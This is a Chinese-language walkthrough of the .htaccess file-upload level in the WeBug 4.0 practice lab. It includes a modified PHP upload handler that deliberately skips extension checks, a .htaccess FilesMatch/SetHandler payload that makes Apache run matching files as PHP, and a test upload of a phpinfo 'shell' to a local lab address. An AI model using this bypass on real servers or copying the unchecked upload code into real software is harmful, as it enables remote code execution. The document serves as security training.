这一关代码有错且没有提示,而且说的是htaccess上传但是又在上传的黑名单里加上了htaccess,这真是让人想吐槽得很啊。所以我就直接拿了前面的上传代码然后去掉了后缀名验证,大家可以参照着我改法改一改,文件地址在C:\phpStudy\WWW\control\upload_file\upload_file_5.php
<?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
header("Location:../login.php");
}
$filter = array(".jpg", '.png', '.gif');
if ($_FILES['file']['error']) {
die();
}
if ($_FILES['file']) {
$arr = $_FILES['file'];
$file_ext = trim(strtolower(strrchr($arr['name'], ".")));
if (file_exists(TPMELATE."/upload/".$arr['name'])){
echo "<script>alert('该文件已经存在')</script>";
} else{
$filename = iconv("UTF-8","gb2312",TPMELATE."/upload/".$arr['name']);
move_uploaded_file($arr["tmp_name"],$filename);
echo $filename;die();
}
}
require_once TPMELATE."/upload_file_1.html";
改完后保存就能直接用了,下面开始正文
webug是什么
WeBug名称定义为“我们的漏洞”靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。
Webug官网:http://www.webug.org
Webug 4.0百度云地址: https://pan.baidu.com/s/1euUY4UG43BuOjhPqkJBvcw 提取码: 3xpy
来源:226安全团队
微信号:safeteam226
开始打靶
htaccess是什么
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
通过.htaccess文件,我们可以让php的解析器解析一个文件名包含指定字符串的任意文件
制作htaccess
Notepad新建一个文件,写入如下内容(asd可以换成其他的,随意)
<FilesMatch "asd">
SetHandler application/x-httpd-php
</FilesMatch>
然后点击保存,文件名为.htaccess,文件类型选择eXtenbsible Markup Language file
制作完成
开始上传
老样子,先过前端验证,然后上传我们的htaccess
然后上传我们的shell,这次就不用菜刀连接了,我们直接用phpinfo来查看执行情况
<?php phpinfo(); ?>
然后访问http://192.168.136.130/template/upload/x.asd
前面也提了,是文件名包含指定字符串的任意文件,所以xx.asd.jpg这种jpg后缀也能被当作php执行哦